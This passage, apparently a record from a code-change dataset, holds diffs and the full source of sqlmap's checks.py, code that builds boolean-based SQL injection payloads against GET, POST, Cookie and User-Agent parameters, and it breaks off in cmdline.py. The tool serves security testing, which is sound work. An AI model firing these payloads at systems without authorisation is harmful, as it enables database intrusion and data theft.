agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "files": {"/lib/controller/checks.py": {"changes": [{"diff": "\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page ", "add": 2, "remove": 5, "filename": "/lib/controller/checks.py", "badparts": [" time.sleep(0.5)", " thirdPage, thirdHeaders = Request.queryPage(content=True)", " condition = firstPage == secondPage", " condition &= secondPage == thirdPage"], "goodparts": [" time.sleep(1)", " condition = firstPage == secondPage"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re import time from lib.controller.action import action from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException from lib.core.session import setString from lib.core.session import setRegexp from lib.request.connect import Connect as Request def checkSqlInjection(place, parameter, value, parenthesis): \"\"\" This function checks if the GET, POST, Cookie, User-Agent parameters are affected by a SQL injection vulnerability and identifies the type of SQL injection: * Unescaped numeric injection * Single quoted string injection * Double quoted string injection \"\"\" randInt=randomInt() randStr=randomStr() if conf.prefix or conf.postfix: prefix =\"\" postfix=\"\" if conf.prefix: prefix=conf.prefix if conf.postfix: postfix=conf.postfix infoMsg =\"testing custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"custom injectable \" logger.info(infoMsg) return \"custom\" infoMsg =\"testing unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"unescaped numeric injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"numeric\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"unescaped numeric injectable\" logger.info(infoMsg) infoMsg =\"testing single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringsingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s'%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likesingle\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE single quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"stringdouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"double quoted string injectable\" logger.info(infoMsg) infoMsg =\"testing LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr +randomStr(1))) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming LIKE double quoted string injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"likedouble\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"LIKE double quoted string injectable\" logger.info(infoMsg) return None def checkDynParam(place, parameter, value): \"\"\" This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. \"\"\" infoMsg=\"testing if %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) randInt=randomInt() payload=agent.payload(place, parameter, value, str(randInt)) dynResult1=Request.queryPage(payload, place) if True==dynResult1: return False infoMsg=\"confirming that %s parameter '%s' is dynamic\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"'%s\" % randomStr()) dynResult2=Request.queryPage(payload, place) payload=agent.payload(place, parameter, value, \"\\\"%s\" % randomStr()) dynResult3=Request.queryPage(payload, place) condition =True !=dynResult2 condition |=True !=dynResult3 return condition def checkStability(): \"\"\" This function checks if the URL content is stable requesting the same page three times with a small delay within each request to assume that it is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching(--string). \"\"\" infoMsg=\"testing if the url is stable, wait a few seconds\" logger.info(infoMsg) firstPage, firstHeaders=Request.queryPage(content=True) time.sleep(0.5) secondPage, secondHeaders=Request.queryPage(content=True) time.sleep(0.5) thirdPage, thirdHeaders=Request.queryPage(content=True) condition =firstPage==secondPage condition &=secondPage==thirdPage if condition==False: warnMsg =\"url is not stable, sqlmap will base the page \" warnMsg +=\"comparison on a sequence matcher, if no dynamic nor \" warnMsg +=\"injectable parameters are detected, refer to user's \" warnMsg +=\"manual paragraph 'Page comparison' and provide a \" warnMsg +=\"string or regular expression to match on\" logger.warn(warnMsg) if condition==True: logMsg=\"url is stable\" logger.info(logMsg) return condition def checkString(): if not conf.string: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"String\") and kb.resumedQueries[conf.url][\"String\"][:-1]==conf.string ) if condition: return True infoMsg =\"testing if the provided string is within the \" infoMsg +=\"target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if conf.string in page: setString() return True else: errMsg =\"you provided '%s' as the string to \" % conf.string errMsg +=\"match, but such a string is not within the target \" errMsg +=\"URL page content, please provide another string.\" logger.error(errMsg) return False def checkRegexp(): if not conf.regexp: return True condition=( kb.resumedQueries.has_key(conf.url) and kb.resumedQueries[conf.url].has_key(\"Regular expression\") and kb.resumedQueries[conf.url][\"Regular expression\"][:-1]==conf.regexp ) if condition: return True infoMsg =\"testing if the provided regular expression matches within \" infoMsg +=\"the target URL page content\" logger.info(infoMsg) page, _=Request.queryPage(content=True) if re.search(conf.regexp, page, re.I | re.M): setRegexp() return True else: errMsg =\"you provided '%s' as the regular expression to \" % conf.regexp errMsg +=\"match, but such a regular expression does not have any \" errMsg +=\"match within the target URL page content, please provide \" errMsg +=\"another regular expression.\" logger.error(errMsg) return False def checkConnection(): infoMsg=\"testing connection to the target url\" logger.info(infoMsg) try: page, _=Request.getPage() conf.seqMatcher.set_seq1(page) except sqlmapConnectionException, exceptionMsg: if conf.multipleTargets: exceptionMsg +=\", skipping to next url\" logger.warn(exceptionMsg) return False else: raise sqlmapConnectionException, exceptionMsg return True ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\nimport time\n\nfrom lib.controller.action import action\nfrom lib.core.agent import agent\nfrom lib.core.common import randomInt\nfrom lib.core.common import randomStr\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.exception import sqlmapConnectionException\nfrom lib.core.session import setString\nfrom lib.core.session import setRegexp\nfrom lib.request.connect import Connect as Request\n\n\ndef checkSqlInjection(place, parameter, value, parenthesis):\n \"\"\"\n This function checks if the GET, POST, Cookie, User-Agent\n parameters are affected by a SQL injection vulnerability and\n identifies the type of SQL injection:\n\n * Unescaped numeric injection\n * Single quoted string injection\n * Double quoted string injection\n \"\"\"\n\n randInt = randomInt()\n randStr = randomStr()\n\n if conf.prefix or conf.postfix:\n prefix = \"\"\n postfix = \"\"\n\n if conf.prefix:\n prefix = conf.prefix\n\n if conf.postfix:\n postfix = conf.postfix\n\n infoMsg = \"testing custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming custom injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" % (value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"custom injectable \"\n logger.info(infoMsg)\n\n return \"custom\"\n\n infoMsg = \"testing unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt + 1))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming unescaped numeric injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"numeric\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"unescaped numeric injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s'='%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringsingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s'%s AND %s'%s' LIKE '%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE single quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s'%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likesingle\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE single quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\"=\\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"stringdouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"double quoted string injectable\"\n logger.info(infoMsg)\n\n infoMsg = \"testing LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr))\n trueResult = Request.queryPage(payload, place)\n\n if trueResult == True:\n payload = agent.payload(place, parameter, value, \"%s\\\"%s AND %s\\\"%s\\\" LIKE \\\"%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr, randStr + randomStr(1)))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"confirming LIKE double quoted string injection \"\n infoMsg += \"on %s parameter '%s'\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"%s\\\"%s and %s%s\" % (value, \")\" * parenthesis, \"(\" * parenthesis, randStr))\n falseResult = Request.queryPage(payload, place)\n\n if falseResult != True:\n infoMsg = \"%s parameter '%s' is \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable \"\n infoMsg += \"with %d parenthesis\" % parenthesis\n logger.info(infoMsg)\n\n return \"likedouble\"\n\n infoMsg = \"%s parameter '%s' is not \" % (place, parameter)\n infoMsg += \"LIKE double quoted string injectable\"\n logger.info(infoMsg)\n\n return None\n\n\ndef checkDynParam(place, parameter, value):\n \"\"\"\n This function checks if the url parameter is dynamic. If it is\n dynamic, the content of the page differs, otherwise the\n dynamicity might depend on another parameter.\n \"\"\"\n\n infoMsg = \"testing if %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n randInt = randomInt()\n payload = agent.payload(place, parameter, value, str(randInt))\n dynResult1 = Request.queryPage(payload, place)\n\n if True == dynResult1:\n return False\n\n infoMsg = \"confirming that %s parameter '%s' is dynamic\" % (place, parameter)\n logger.info(infoMsg)\n\n payload = agent.payload(place, parameter, value, \"'%s\" % randomStr())\n dynResult2 = Request.queryPage(payload, place)\n\n payload = agent.payload(place, parameter, value, \"\\\"%s\" % randomStr())\n dynResult3 = Request.queryPage(payload, place)\n\n condition = True != dynResult2\n condition |= True != dynResult3\n\n return condition\n\n\ndef checkStability():\n \"\"\"\n This function checks if the URL content is stable requesting the\n same page three times with a small delay within each request to\n assume that it is stable.\n\n In case the content of the page differs when requesting\n the same page, the dynamicity might depend on other parameters,\n like for instance string matching (--string).\n \"\"\"\n\n infoMsg = \"testing if the url is stable, wait a few seconds\"\n logger.info(infoMsg)\n\n firstPage, firstHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n\n thirdPage, thirdHeaders = Request.queryPage(content=True)\n\n condition = firstPage == secondPage\n condition &= secondPage == thirdPage\n\n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\n warnMsg += \"comparison on a sequence matcher, if no dynamic nor \"\n warnMsg += \"injectable parameters are detected, refer to user's \"\n warnMsg += \"manual paragraph 'Page comparison' and provide a \"\n warnMsg += \"string or regular expression to match on\"\n logger.warn(warnMsg)\n\n if condition == True:\n logMsg = \"url is stable\"\n logger.info(logMsg)\n\n return condition\n\n\ndef checkString():\n if not conf.string:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"String\") and\n kb.resumedQueries[conf.url][\"String\"][:-1] == conf.string\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided string is within the \"\n infoMsg += \"target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if conf.string in page:\n setString()\n return True\n else:\n errMsg = \"you provided '%s' as the string to \" % conf.string\n errMsg += \"match, but such a string is not within the target \"\n errMsg += \"URL page content, please provide another string.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkRegexp():\n if not conf.regexp:\n return True\n\n condition = (\n kb.resumedQueries.has_key(conf.url) and\n kb.resumedQueries[conf.url].has_key(\"Regular expression\") and\n kb.resumedQueries[conf.url][\"Regular expression\"][:-1] == conf.regexp\n )\n\n if condition:\n return True\n\n infoMsg = \"testing if the provided regular expression matches within \"\n infoMsg += \"the target URL page content\"\n logger.info(infoMsg)\n\n page, _ = Request.queryPage(content=True)\n\n if re.search(conf.regexp, page, re.I | re.M):\n setRegexp()\n return True\n else:\n errMsg = \"you provided '%s' as the regular expression to \" % conf.regexp\n errMsg += \"match, but such a regular expression does not have any \"\n errMsg += \"match within the target URL page content, please provide \"\n errMsg += \"another regular expression.\"\n logger.error(errMsg)\n\n return False\n\n\ndef checkConnection():\n infoMsg = \"testing connection to the target url\"\n logger.info(infoMsg)\n\n try:\n page, _ = Request.getPage()\n conf.seqMatcher.set_seq1(page)\n\n except sqlmapConnectionException, exceptionMsg:\n if conf.multipleTargets:\n exceptionMsg += \", skipping to next url\"\n logger.warn(exceptionMsg)\n\n return False\n else:\n raise sqlmapConnectionException, exceptionMsg\n\n return True\n"}, "/lib/parse/cmdline.py": {"changes": [{"diff": "\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" \"you can run your own SQL SELECT queries.\")"], "goodparts": [" \"you can run your own SQL statements.\")"]}, {"diff": "\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true", "add": 1, "remove": 1, "filename": "/lib/parse/cmdline.py", "badparts": [" help=\"SQL SELECT query to be executed\")"], "goodparts": [" help=\"SQL statement to be executed\")"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from lib.core.data import logger from lib.core.settings import VERSION_STRING def cmdLineParser(): \"\"\" This function parses the command line parameters and arguments \"\"\" usage=\"%s[options]\" % sys.argv[0] parser=OptionParser(usage=usage, version=VERSION_STRING) try: parser.add_option(\"-v\", dest=\"verbose\", type=\"int\", help=\"Verbosity level: 0-5(default 1)\") target=OptionGroup(parser, \"Target\", \"At least one of these \" \"options has to be specified to set the source \" \"to get target urls from.\") target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\") target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \" \"or WebScarab logs\") target.add_option(\"-g\", dest=\"googleDork\", help=\"Process Google dork results as target urls\") target.add_option(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\") request=OptionGroup(parser, \"Request\", \"These options can be used \" \"to specify how to connect to the target url.\") request.add_option(\"--method\", dest=\"method\", default=\"GET\", help=\"HTTP method, GET or POST(default: GET)\") request.add_option(\"--data\", dest=\"data\", help=\"Data string to be sent through POST\") request.add_option(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header\") request.add_option(\"--referer\", dest=\"referer\", help=\"HTTP Referer header\") request.add_option(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header\") request.add_option(\"-a\", dest=\"userAgentsFile\", help=\"Load a random HTTP User-Agent \" \"header from file\") request.add_option(\"--headers\", dest=\"headers\", help=\"Extra HTTP headers '\\\\n' separated\") request.add_option(\"--auth-type\", dest=\"aType\", help=\"HTTP Authentication type, value: \" \"Basic or Digest\") request.add_option(\"--auth-cred\", dest=\"aCred\", help=\"HTTP Authentication credentials, value: \" \"name:password\") request.add_option(\"--proxy\", dest=\"proxy\", help=\"Use a HTTP proxy to connect to the target url\") request.add_option(\"--threads\", dest=\"threads\", type=\"int\", help=\"Maximum number of concurrent HTTP \" \"requests(default 1)\") request.add_option(\"--delay\", dest=\"delay\", type=\"float\", help=\"Delay in seconds between each HTTP request\") request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\", help=\"Seconds to wait before timeout connection \" \"(default 30)\") injection=OptionGroup(parser, \"Injection\", \"These options can be \" \"used to specify which parameters to test \" \"for, provide custom injection payloads and \" \"how to parse and compare 